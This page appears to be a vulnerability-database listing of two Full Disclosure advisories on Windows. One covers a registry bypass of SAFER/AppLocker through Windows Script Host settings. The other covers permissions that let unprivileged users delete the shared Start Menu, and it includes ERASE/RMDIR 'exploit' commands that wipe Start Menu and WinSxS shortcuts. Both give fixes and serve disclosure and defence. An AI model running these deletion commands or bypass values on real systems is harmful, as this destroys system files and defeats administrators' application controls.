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2 vulnerabilities found for Defense in depth by unknown
GCVE-1988-2026-0514
Vulnerability from gna-1988 – Published: 2026-11-02 08:33 – Updated: 2026-11-02 08:33
VLAI
EPSS
VEX
Title
Defense in depth -- the Microsoft way (part 96): yet another SAFER (SRPv1) and AppLocker (SRPv2) loophole
Summary
Hi @ll,
about 2 months ago I posted
<https://seclists.org/fulldisclosure/2025/Dec/29>
"Defense in depth -- the Microsoft way (part 94):
SAFER (SRPv1 and AppLocker alias SRPv2) bypass for dummies"
Here's the continuation...
About 23 years ago, 64-bit Windows introduced the WoW64 subsystem, which
performs a transpatent redirection of file system and registry accesses
for 32-bit applications.
To allow consistent appearance and behaviour of 64-bit and 32-bit variants
of applications like the "command processor" which reads its settings from
the registry key [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor],
several branches or single keys of the split registry where joined: until
Vista via "registry reflection", since Windows 7 via "shared keys".
Some applications, for example the Windows Script Host, were but lobotomized:
the registry keys [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Script Host]
and [HKEY_LOCAL_MACHINE\SOFTWARE\WoW6432Node\Microsoft\Windows Script Host]
are separate, NOT joined.
Demonstration
~~~~~~~~~~~~~
The article <https://technet.microsoft.com/en-us/library/ee198684.aspx>
"Disabling Windows Script Host" states:
| To disable WSH for all users of a particular computer, create this
| entry:
|
| [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows Script Host\Settings]
| "Enabled"=dword:00000000
It but needs a second, UNDOCUMENTED entry to enforce this setting:
| "IgnoreUserSettings"=dword:00000001
Without this entry, unprivileged users can enable WSH or exempt it from
SAFER, either Software Restriction Policies or AppLocker:
| [HKEY_CURRENT_USER\Software\Microsoft\Windows Script Host\Settings]
| "Enabled"=dword:00000001
| "UseWINSAFER"=dword:00000000
With the first 2 entries for the computer in place, and NO entries set for
the user, start a command prompt, run %SystemRoot%\SysWoW64\CSCRIPT.EXE or
%SystemRoot%\SysWoW64\WSCRIPT.EXE without arguments and admire their help
messages on the console or in a dialog box: OOPS!
Due to the lobotomy the same entries MUST be set in the 32-bit branch of
the registry too! Since the key name \WoW6432Node\ is an implementation
detail you should NEVER use, run the proper command lines:
REG.EXE ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Script Hosts\Settings" /REG:32 /V Enabled /D 0
REG.EXE ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Script Hosts\Settings" /REG:32 /V IgnoreUserSettings /D 1
stay tuned, and far away from split brains
Stefan Kanthak
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
6 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | Defense in depth |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
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"product": "Defense in depth",
"vendor": "unknown",
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"version": "unknown"
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"value": "Hi @ll,\n\nabout 2 months ago I posted\n\u003chttps://seclists.org/fulldisclosure/2025/Dec/29\u003e\n\"Defense in depth -- the Microsoft way (part 94):\n SAFER (SRPv1 and AppLocker alias SRPv2) bypass for dummies\"\n\nHere\u0027s the continuation...\n\nAbout 23 years ago, 64-bit Windows introduced the WoW64 subsystem, which\nperforms a transpatent redirection of file system and registry accesses\nfor 32-bit applications.\nTo allow consistent appearance and behaviour of 64-bit and 32-bit variants\nof applications like the \"command processor\" which reads its settings from\nthe registry key [HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Command Processor],\nseveral branches or single keys of the split registry where joined: until\nVista via \"registry reflection\", since Windows 7 via \"shared keys\".\n\nSome applications, for example the Windows Script Host, were but lobotomized:\nthe registry keys [HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows Script Host]\nand [HKEY_LOCAL_MACHINE\\SOFTWARE\\WoW6432Node\\Microsoft\\Windows Script Host]\nare separate, NOT joined.\n\nDemonstration\n~~~~~~~~~~~~~\n\nThe article \u003chttps://technet.microsoft.com/en-us/library/ee198684.aspx\u003e\n\"Disabling Windows Script Host\" states:\n\n| To disable WSH for all users of a particular computer, create this\n| entry:\n|\n| [HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows Script Host\\Settings]\n| \"Enabled\"=dword:00000000\n\nIt but needs a second, UNDOCUMENTED entry to enforce this setting:\n\n| \"IgnoreUserSettings\"=dword:00000001\n\nWithout this entry, unprivileged users can enable WSH or exempt it from\nSAFER, either Software Restriction Policies or AppLocker:\n\n| [HKEY_CURRENT_USER\\Software\\Microsoft\\Windows Script Host\\Settings]\n| \"Enabled\"=dword:00000001\n| \"UseWINSAFER\"=dword:00000000\n\nWith the first 2 entries for the computer in place, and NO entries set for\nthe user, start a command prompt, run %SystemRoot%\\SysWoW64\\CSCRIPT.EXE or\n%SystemRoot%\\SysWoW64\\WSCRIPT.EXE without arguments and admire their help\nmessages on the console or in a dialog box: OOPS!\n\nDue to the lobotomy the same entries MUST be set in the 32-bit branch of\nthe registry too! Since the key name \\WoW6432Node\\ is an implementation\ndetail you should NEVER use, run the proper command lines:\n\nREG.EXE ADD \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows Script Hosts\\Settings\" /REG:32 /V Enabled /D 0\nREG.EXE ADD \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows Script Hosts\\Settings\" /REG:32 /V IgnoreUserSettings /D 1\n\nstay tuned, and far away from split brains\nStefan Kanthak\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
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GCVE-1988-2026-0210
Vulnerability from gna-1988 – Published: 2026-09-08 07:57 – Updated: 2026-09-08 07:57
VLAI
EPSS
VEX
Title
Defense in depth -- the Microsoft way (part 95): the (shared) "Start Menu" is dispensable
Summary
Hi @ll,
the following is a condensed form of
<https://skanthak.hier-im-netz.de/whispers.html#whisper3> and
<https://skanthak.hier-im-netz.de/whispers.html#whisper4>.
Windows Vista moved the shared start menu from "%ALLUSERSPROFILE%\Start Menu\"
to "%ProgramData%\Microsoft\Windows\Start Menu\", with some shortcuts (*.lnk)
"reflected" from the (immutable) component store below %SystemRoot%\WinSxS\
JFTR: "reflection" is M$FT lingo for hardlink into the component store.
Before this move only Administrators had write access to the shared start menu;
afterwards at least the user account(s) created during Windows setup (OOBE,
out of box experience) are granted DELETE and DELETE_CHILD access permission.
Demonstration
~~~~~~~~~~~~~
Log on to an arbitrary (unprivileged) user account, start the command processor
and run the following command line to display the access permissions of the
shared start menu:
ICACLS.EXE "%ProgramData%\Microsoft\Windows\Start Menu"
| C:\ProgramData\Microsoft\Windows\Start Menu COMPUTER\User:(OI)(CI)(IO)(DE,DC)
| S-1-5-21-xxx-yyy-zzz-1000:(OI)(CI)(IO)(DE,DC)
| COMPUTER\Administrator:(OI)(CI)(IO)(DE,DC)
| NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
| BUILTIN\Administrators:(I)(OI)(CI)(F)
| BUILTIN\Users:(I)(OI)(CI)(RX)
| Everyone:(I)(OI)(CI)(RX)
Instead of "COMPUTER" you get your computer name (see the environment variables
%COMPUTERNAME% and %USERDOMAIN%); instead of "User" and "Administrator" you get
the first/primary and the localized administrator account name.
"(OI)(CI)(IO)(DE,DC)" means "inherit DELETE and DELETE CHILD access permission
to all objects/files and containers/directories below this directory".
Run the following command line to confirm the latter:
ICACLS.EXE "%ProgramData%\Microsoft\Windows\Start Menu" /C /Q /T | FINDSTR.EXE /L "%ProgramData% (DE,DC)"
"Thanks" to the braindead "reflection" of shortcuts (generally: files) from
the component store their access permissions are changed too:
ICACLS.EXE "%SystemRoot%\WinSxS\*.lnk" /C /Q /T | FINDSTR.EXE /L "%SystemRoot% (DE,DC)"
Exploit
~~~~~~~
"Thanks" to the DELETE_CHILD access permission some unprivileged users can
since NINETEEN years remove the shared start menu COMPLETELY!
ERASE /A:HS /F /Q /S "%ProgramData%\Microsoft\Windows\Start Menu\desktop.ini"
ERASE /F /Q /S "%ProgramData%\Microsoft\Windows\Start Menu\*.lnk"
RMDIR /Q /S "%ProgramData%\Microsoft\Windows\Start Menu"
"Thanks" to the braindead "reflection" of shortcuts (generally: files) from
the component store the same unprivileged users can also erase them there
and destroy the integrity of the component store:
ERASE /F /Q /S "%SystemRoot%\WinSxS\*.lnk"
Fix
~~~
Remove the SUPERFLUOUS access permissions (needs SE_RESTORE_PRIVILEGE):
ICACLS.EXE "%ProgramData%\Microsoft\Windows\Start Menu" /C /Q /Remove:g "%USERDOMAIN%\Administrator"
"%USERDOMAIN%\%USERNAME%"
"%USERDOMAIN%\User" *S-1-5-21-xxx-yyy-zzz-RID ... /T
ICACLS.EXE "%SystemRoot%\WinSxS\*.lnk" /C /Q /Remove:g "%USERDOMAIN%\Administrator" "%USERDOMAIN%\%USERNAME%"
"%USERDOMAIN%\User"
*S-1-5-21-xxx-yyy-zzz-RID ... /T
stay tuned, and far away from unprotected system( file)s
Stefan Kanthak
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
6 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | Defense in depth |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "Defense in depth",
"vendor": "unknown",
"versions": [
{
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}
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"credits": [
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"lang": "en",
"type": "finder",
"value": "Stefan Kanthak via Fulldisclosure"
}
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"value": "Hi @ll,\n\nthe following is a condensed form of\n\u003chttps://skanthak.hier-im-netz.de/whispers.html#whisper3\u003e and\n\u003chttps://skanthak.hier-im-netz.de/whispers.html#whisper4\u003e.\n\nWindows Vista moved the shared start menu from \"%ALLUSERSPROFILE%\\Start Menu\\\"\nto \"%ProgramData%\\Microsoft\\Windows\\Start Menu\\\", with some shortcuts (*.lnk)\n\"reflected\" from the (immutable) component store below %SystemRoot%\\WinSxS\\\n\nJFTR: \"reflection\" is M$FT lingo for hardlink into the component store.\n\nBefore this move only Administrators had write access to the shared start menu;\nafterwards at least the user account(s) created during Windows setup (OOBE,\nout of box experience) are granted DELETE and DELETE_CHILD access permission.\n\nDemonstration\n~~~~~~~~~~~~~\n\nLog on to an arbitrary (unprivileged) user account, start the command processor\nand run the following command line to display the access permissions of the\nshared start menu:\n\nICACLS.EXE \"%ProgramData%\\Microsoft\\Windows\\Start Menu\"\n\n| C:\\ProgramData\\Microsoft\\Windows\\Start Menu COMPUTER\\User:(OI)(CI)(IO)(DE,DC)\n| S-1-5-21-xxx-yyy-zzz-1000:(OI)(CI)(IO)(DE,DC)\n| COMPUTER\\Administrator:(OI)(CI)(IO)(DE,DC)\n| NT AUTHORITY\\SYSTEM:(I)(OI)(CI)(F)\n| BUILTIN\\Administrators:(I)(OI)(CI)(F)\n| BUILTIN\\Users:(I)(OI)(CI)(RX)\n| Everyone:(I)(OI)(CI)(RX)\n\nInstead of \"COMPUTER\" you get your computer name (see the environment variables\n%COMPUTERNAME% and %USERDOMAIN%); instead of \"User\" and \"Administrator\" you get\nthe first/primary and the localized administrator account name.\n\n\"(OI)(CI)(IO)(DE,DC)\" means \"inherit DELETE and DELETE CHILD access permission\nto all objects/files and containers/directories below this directory\".\n\nRun the following command line to confirm the latter:\n\nICACLS.EXE \"%ProgramData%\\Microsoft\\Windows\\Start Menu\" /C /Q /T | FINDSTR.EXE /L \"%ProgramData% (DE,DC)\"\n\n\"Thanks\" to the braindead \"reflection\" of shortcuts (generally: files) from\nthe component store their access permissions are changed too:\n\nICACLS.EXE \"%SystemRoot%\\WinSxS\\*.lnk\" /C /Q /T | FINDSTR.EXE /L \"%SystemRoot% (DE,DC)\"\n\nExploit\n~~~~~~~\n\n\"Thanks\" to the DELETE_CHILD access permission some unprivileged users can\nsince NINETEEN years remove the shared start menu COMPLETELY!\n\nERASE /A:HS /F /Q /S \"%ProgramData%\\Microsoft\\Windows\\Start Menu\\desktop.ini\"\nERASE /F /Q /S \"%ProgramData%\\Microsoft\\Windows\\Start Menu\\*.lnk\"\nRMDIR /Q /S \"%ProgramData%\\Microsoft\\Windows\\Start Menu\"\n\n\"Thanks\" to the braindead \"reflection\" of shortcuts (generally: files) from\nthe component store the same unprivileged users can also erase them there\nand destroy the integrity of the component store:\n\nERASE /F /Q /S \"%SystemRoot%\\WinSxS\\*.lnk\"\n\nFix\n~~~\n\nRemove the SUPERFLUOUS access permissions (needs SE_RESTORE_PRIVILEGE):\n\nICACLS.EXE \"%ProgramData%\\Microsoft\\Windows\\Start Menu\" /C /Q /Remove:g \"%USERDOMAIN%\\Administrator\" \n\"%USERDOMAIN%\\%USERNAME%\"\n\"%USERDOMAIN%\\User\" *S-1-5-21-xxx-yyy-zzz-RID ... /T\nICACLS.EXE \"%SystemRoot%\\WinSxS\\*.lnk\" /C /Q /Remove:g \"%USERDOMAIN%\\Administrator\" \"%USERDOMAIN%\\%USERNAME%\" \n\"%USERDOMAIN%\\User\"\n*S-1-5-21-xxx-yyy-zzz-RID ... /T\n\nstay tuned, and far away from unprotected system( file)s\nStefan Kanthak\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
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